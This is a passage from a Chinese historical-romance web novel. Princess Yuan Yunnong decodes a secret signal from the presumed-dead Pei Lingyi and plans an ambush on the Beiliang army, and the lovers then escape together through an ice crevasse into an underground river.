“做什么呢?”元韫浓无奈道,“那么多大事也没见你哭,我生个病而已,你就要哭了。” 霜降听了这话,更是险些没憋住。 她和小满一个是惠贞长公主挑的,一个是元彻回挑的,都是自小陪在元韫浓身边的人。 元韫浓拢了拢身上的狐裘,案头的油灯爆了个灯花,光影摇曳间,她看见了什么。 元韫浓的眸光突然间闪烁了一下,在灯火的摇曳之下,她瞥见案上裴令仪的护心镜上极快地闪过了一道幽幽的红光。 她拣起护心镜,护心镜金丝所刻的那个“浓”字一捺上,镶嵌了一颗极其细小的类似于红宝石一样的东西。 因为这样的小把戏裴令仪耍过太多次,以至于都成为了象征。 她尝试着将护心镜贴近烛火边,那点红色果然融化了。 心跳得飞快,元韫浓用发簪拨弄开红蜡,只从里边翻出来两根缠绕在一起的发丝。 她怔了怔,头发? 她本以为会是什么字条的。 缠绕着的头发,是什么意思?这是裴令仪所留下的吗? 元韫浓能觉察到自己的心跳得更快了,原本将熄未熄的希冀又重新复燃了起来。 这就意味着裴令仪真的没有死。 这两根缠绕的头发,或许就是裴令仪从那个香囊里取出来的。 他们曾经结发。 这还意味着什么?难道只是一个保平安的讯号吗? 元韫浓思考着,看向舆图。 舆图上玉涵关的位置,后边有个峡谷,上边两道深深的痕迹像是被刀锋用力劈砍来的,却紧紧缠绕交错。 北凉大军每回要兵临遂城城下,都需要经过此地。 是这个意思吗?是在暗示什么吗? 元韫浓凝视那两根发丝,倘若裴令仪真的还活着,借用护心镜传递消息,生怕被北凉人捡走,所以记号做得如此晦涩不明。 她提笔,蘸墨,再落笔,在那片缠绕的嶙峋沟壑之上标注出来。 霜降没懂元韫浓在做什么,只是看她提起了白玉圆月项链。 白玉坠子在灯下闪过一道凄冷的寒芒,依稀也还能看出曾经拼凑的细纹。 “我要赌一把。”元韫浓轻声道。 小满低声问:“殿下有何指示吗?我们如今兵少……” “兵行诡道,以少胜多。”元韫浓说道。 她望向外头,依然风雪簌簌,“今年的冬天太长了,但冬日再旷日持久,春天也会来到。等到春来,就不是北凉优势的时候了。” “若他真的埋骨玉涵关。”元韫浓的声音冰冷而平静,“就当是我赌错了吧。” 她要赌的就是裴令仪还活着的可能,只要裴令仪还活着,这一局,十有八九就能赢。 在元韫浓的部署下,北凉和大裴的军队就在那两道纠缠的沟壑之处会战。 刺骨的寒风卷着雪沫,如同无数冰冷的针,狠狠扎在脸上。 冰封的河面在惨淡的光下,泛着死寂的青灰色。 那颜律看到在面前的只是元彻回和数千人马,险些笑出声:“你们的皇后殿下呢?你们的大军呢?就送这么点人来送死?” 没有人回答他。 他也不在意,继续问:“元彻回,你妹妹让你来做前锋,总不是放弃你们这些人了吧?以数千人就想抗衡我们十几万人?” “谁管你?爱打不打。”元彻回懒得废话。 “死到临头了还在嘴硬。”那颜律冷笑一声,做了个手势。 他身后的兵马纵马追上。 元彻回他们掉头就往遂城方向跑。 那颜律本以为擒住元彻回不算难事,毕竟兵力悬殊至此。 但是雪色茫茫之中,却冲出了另一队人马,人数不多,至多也就千人,但这猝不及防的突袭立即在狭窄的关隘吸引了北凉人的视线。 第126章 他居然没死? 等待那颜律夺回主动权的时候,元彻回他们那一队人马早已不见踪影。 “追上他们!”见后面跳出来的那队人马也有撤离的意思,那颜律喊道。 他眉心一直在跳,总有一种不祥的预感。 因为他怎么看都怎么觉得,那队后来的人马中为首的人虽然戴着张鬼面,但是身影很眼熟。 风裹挟着坚硬的雪粒和细碎的血冰,呼啸着灌入峡谷,发出鬼哭狼嚎般的凄厉尖啸。 千人兵马,很容易就被北凉大军追上了,只能一边打一边退。 那颜律一直紧盯着为首者的身影,见此人边打边退,抓住了空挡的机会,搭箭拉弓,箭矢直击此人门面。 这人可见是武艺卓绝,反应迅速,往后一仰躲避。 箭矢擦着面具极速掠过,带飞了那张青面獠牙的鬼面面具。 面具在纷飞的雪幕中划出弧线,重重坠入雪堆。 刀光剑影骤然凝固,那颜律僵在原地。 裴令仪!? 那颜律以一种见了鬼的表情,看着雪地上那个浴血的身影。 这不应该,本该葬身在川流里的死人居然还带着人与他们厮杀。 裴令仪居然没死! 裴令仪眉睫上凝结冰霜,容光诡艳,没有什么表情。 他牵着缰绳压下身斩杀一人,顺势剑尖挑起面具,那张鬼面又重新覆盖在了他的脸上。 “给我杀!”那颜律怒吼道。 纵使裴令仪还活着,那又能如何?兵力照样悬殊! 当初在川流杀不了裴令仪,他照样能让此地成为裴令仪的葬身之地! 北凉一路追杀,裴令仪一行人应付起来十分吃力。 在天寒地冻之中力竭,每一次呼吸都像吸入无数细小的冰针,刺得肺腑生疼,还有铁锈味。 裴令仪的战甲早已碎裂不堪,胸腹处一道尺长的裂口,甲片被巨力撕扯得扭曲翻卷。 舞阳儿,这匹曾载着裴令仪冲出重围的雄骏,曾载着元韫浓奔逃、闯宫的乌骓马,此刻倒在冰面上,眼睛空洞地瞪着铅灰色的苍穹。 裴令仪闭了闭眼,背靠着舞阳儿,最后一次抚摸了它的背脊。 风雪的呜咽声里,视野所及,都是尸首,扭曲地垒在一起。 所有幸存下来的人都同裴令仪一块伏在雪里,躲避北凉人的追杀。 索性风雪大,即使是生长于酷寒之中的北凉人,也没有那么快搜寻到他们的身影。 元韫浓在赌裴令仪还活着,裴令仪他们也在赌元韫浓能看到那个晦涩的信号。 倘若元韫浓没有发现,他们此次贸然阻击,几乎是与送死无异。 裴令仪缓缓抬起几乎冻僵的手,颤抖着摸索袖袋,将里头一直小心呵护的永生花地捧了出来。 他捏着这永生花,冰冷的尘土和浓重的血腥气仿佛要将这最后一点来自万里之外、带着微弱苦涩气息的念想,一同嚼碎了,咽下去。 视线开始模糊,意识如同风中残烛,飘摇欲坠。 她……看到了吗? 如果裴九说的是真的,她看到了吗? “陛下!”裴九指向峡谷对面那堵如同刀削斧劈般的千仞绝壁。 “火光……在崖上!”他的声音带着一种濒死回光般的激动,“是殿下!是殿下来了!” 裴令仪艰难地顺着裴九所指的方向,将目光投向那片被风雪笼罩、模糊不清的陡峭山崖。 一点微弱的橘红色光芒,在一处亮了起来。 紧接着,第二点,第三点,越来越多,在风雪中摇曳着。 裴令仪的心脏狂跳起来,她看到了,她真的来了! 被围困在此地的裴军残部早已精疲力竭,此刻都从尸骸堆、从冻土坑、从岩石缝隙中站了起来。 “陛下!是烽火!是我们的烽火!”嘶哑的吼声此起彼伏,“援兵!殿下的援兵到了!” 绝地逢生的狂喜与积压已久的滔天怒火,瞬间点燃了血液。 “裴九!”裴令仪决绝道,“点火!点烽燧!” 火光在死寂的谷底燃烧,照亮这一片晦暗的天际。 而借着裴令仪他们的掩护先撤离的元彻回一队兵马,转而绕路前去了北凉大营。 元彻回此刻难以压抑心中的狂喜,裴令仪果然没死。 元韫浓赌对了,这场没有任何确定交流的赌约和战术,居然真的落实了。 由他们先引北凉大军,裴令仪阻击诱敌深入山峡沟壑,掩护元彻回他们这一批轻骑绕后焚毁北凉粮草辎重。 然后就是水淹北凉大军,元韫浓所率领的裴军在另一边接应,围剿北凉。 前方就是北凉的粮草辎重大营,如同臃肿的巨兽,在风雪中沉默地匍匐着。 营寨里人影晃动,哨塔上跳动着微弱的灯火,浑然不觉危机将近。 等到那颜律发觉时,为时已晚。 “王上!南人到我们大营纵火!粮仓起火了!”急报落在那颜律的耳中,犹若惊雷。 那颜律猛地回首,隐约可见后方的浓烟和若隐若现的火光。 他们的粮营此时此刻已化为一片滔天火海。 漆黑的火油被倾倒在粮囤、草垛、油桶之上,只要一点火星,火焰就冲天而起。 火舌舔舐,将漫天飞雪映照得一片血红。 粮营的熊熊烈火使得他们陷入了巨大的混乱和恐慌。 后路被断,粮草尽毁,必然会军心动摇。 那颜律怒道:“大营留守的那一批人都是废物吗?还不快去扑火!” “已经在扑火了……王上,我们可要撤回……”兵士小声问道。 “撤什么撤?此时撤军,就是我们输!真打起来,敌弱我强,我们还有胜算!”那颜律吼道,“追上去!今日必要让裴令仪和元韫浓葬身此地!” 此刻对面一条被冰雪覆盖的狭窄裂谷深处,没有呐喊,没有金铁交鸣。 裴军的主力们沉默地等待着,元韫浓在队伍的最前方,素白的罩袍上溅满了泥雪和不知何时沾染的暗红。 她的面色在严寒中苍白如雪,唯有眼眸仍然若寒星。 峡谷的风撕扯着她的罩袍,发出呜咽般的声响。 终于在他们的视野之中,出现了密密麻麻的人点。 元韫浓能感受到身边的人都激动起来,因为那些人是他们之前生死未知的战友和兄弟,而领头戴着鬼面的那个,是他们寻找太久了的裴令仪。 元韫浓抬手,指向紧随其后的北凉敌军,“拦下他们。” 原先沉默的将士们顿时如同决堤的洪流般涌了上去,和敌人缠斗在一起。 “将他们拦在沟壑之内,不能叫他们上来!”元韫浓命令道。 “放箭!冲出去!”那颜律同时吼道。 尽管他还不清楚裴令仪和元韫浓在打什么主意,但是既然不让他们冲出去,必然是有什么不好的事情。 而且凭借他的本能和敏锐,他感觉有裴令仪和元韫浓既然要将他们困在里面肯定是要做什么了。 “嗖——嗖——嗖——” 破空之声尖锐刺耳,箭矢飞跃,冰屑飞溅。 戴着鬼面的人从陌生的白马上纵身飞扑过来,就算是小满知道那是裴令仪,也被吓了一跳,险些一刀砍过去。 裴令仪猛地将元韫浓往旁边一扑,元韫浓踉跄了一下,转头看见一只箭矢钉在方才她站着的地方。 “走!”裴令仪推了元韫浓一下,动作依旧带着僵硬。 元韫浓有太多想说的话,和那双透过面具的眼睛对视上,却诡异地感到了不对的地方。 但是此刻也不是什么叙旧的时候。 元韫浓跟随上裴令仪,裴令仪反手拔出腰间的剑,格开一支角度刁钻的冷箭。 刀锋与箭簇碰撞,发出刺耳的金铁交鸣,在冰面上溅起一溜火星。 裴令仪一面格挡可能的冷箭,一面拉着元韫浓往前跑去。 元韫浓没跑几步就开始气急。 “追!别让他们跑了!”北凉人的脚步声渐近。 裴令仪护在元韫浓身侧,挥剑格挡冷箭,用身体阻挡可能的攻击,精准而又狠辣。 面具下,他薄唇紧抿。 “这边!”裴令仪突然低喝一声,拉住元韫浓的手腕,向冰面上一处被厚厚积雪覆盖的冰裂隙方向冲去。 裴令仪没有任何犹豫,拉着元韫浓,纵身跃入冰隙之中。 元韫浓没有什么防备,身体骤然下坠,冰冷的空气裹挟着雪沫扑面而来,脚下是深不见底的黑暗。 裴令仪一只手将剑刺入冰壁,另一只手紧紧箍住元韫浓的腰,将人揽在怀里。 下坠力让他闷哼一声,手臂的肌肉紧绷,一阵牙酸的“咔嚓咔嚓”声之后,他抱着元韫浓悬吊在半空中。 冰冷的寒气直透骨髓,头顶上方是那颜律和北凉将士的脚步声和叫骂声。 “人呢?人呢!”那颜律怒声吼道。 “他们……他们跳进冰缝里了……”士兵的声音带着惊疑。 “废物!一群废物!一个裴令仪带这个手无缚鸡之力的元韫浓冲到沟壑里来,又当着你们的面跳进冰缝里,你们居然也不能奈何他们分毫!”那颜律脸色铁青,“下去把他们抓上来!” 脚步声在冰隙边缘徘徊,火把的光芒在头顶晃动,将冰壁映照得光怪陆离。 有人开始尝试放下绳索。 “王上,下面情况不明,贸然下去恐怕……”有人试图劝阻。 “闭嘴!”那颜律冷声道,“谁敢退缩,我现在就砍了他!” 悬吊在冰冷的黑暗中,裴令仪的胸膛起伏,每一次呼吸都带有雾气和压抑的喘息。 “你想做什么?”元韫浓几乎贴着他的面具低语,“你确定这冰川之水能倒灌入沟壑,水淹北凉大军?” “可以。”裴令仪的声音嘶哑,面具后的那双眼睛死着上方晃动的火光和人影,“有你在就可以。” 元韫浓蹙眉,“我?” 裴令仪道:“你是慕南的郡主,自然可以……” 头顶传来绳索摩擦冰壁的窸窣声,一个北凉士兵正顺着绳索,小心翼翼地向冰隙深处滑降下来。 裴令仪的声音戛然而止,没有丝毫犹豫,他猛地拔出插在冰层里想剑,另一只手搂紧了元韫浓的腰。 他一脚踹在降下来的北凉士兵胸口,那士兵只来得及发出一声短促的惊叫。 骨骼碎裂声响起,那个士兵软绵绵地歪倒在一边。 裴令仪拔出一点剑下滑了一点,将北凉士兵的尸体挡在头顶,遮蔽住自己和元韫浓的身影。 元韫浓忽而听到冰隙下方,传来细微的水流声。 是活水,有暗流。 难道裴令仪就是想借用这里的水? “抱紧我!”裴令仪哑声道。 他猛地将北凉士兵的尸体向上方一推,撞向正在试图降下的第二个士兵。 然后趁此机会,裴令仪拔出剑,朝着下方纵身一跃。 身体骤然失重,再次向下坠落。 “噗通”一声,刺骨的冰水如同无数钢针,直透骨髓。 窒息感扼住了喉咙,只有水流湍急的哗哗声在耳边轰鸣。 一只手死死抓住了元韫浓的胳膊,在冰冷湍急的暗河中稳住身形,将元韫浓猛地拽向他。 “别松手!”他的声音在水流中显得有些模糊不清。 裴令仪用身体挡住一部分水流,将元韫浓护在相对平缓的内侧。 “往哪走?”他问。 元韫浓被呛了几口水,本来就满心怒火,冻得抑制不住地发抖。 被裴令仪这么一问,她更是怒火攻心,“你问我?我怎么知道!” “只有你知道。”裴令仪紧盯着她的眼睛,“只有你能知道,因为我被水流意外冲到此处发现这里,这个水关是慕南皇朝的先祖所建,这里只有你是慕南的郡主!只有你能知道往哪走!” 裴令仪抓着元韫浓的手,将她的掌心贴上前方。 元韫浓摸到前面冰冷的石壁,上面有凹凸不平的纹路。 电光火石之间,她猛然想起来什么。 慕南的宗庙里,她一直感到疑惑的一件事情。 屋顶的图案是被劈了一半的山,只有左半边的山。 很少会有人在宗庙抬头看屋顶,但是元韫浓会,她正是这极少数人之一。 因为她每次犯了错自请受罚的时候都毫无敬意。 “左边……”元韫浓道。 “跟紧!”裴令仪一手抓住元韫浓,逆着水流向左方而去。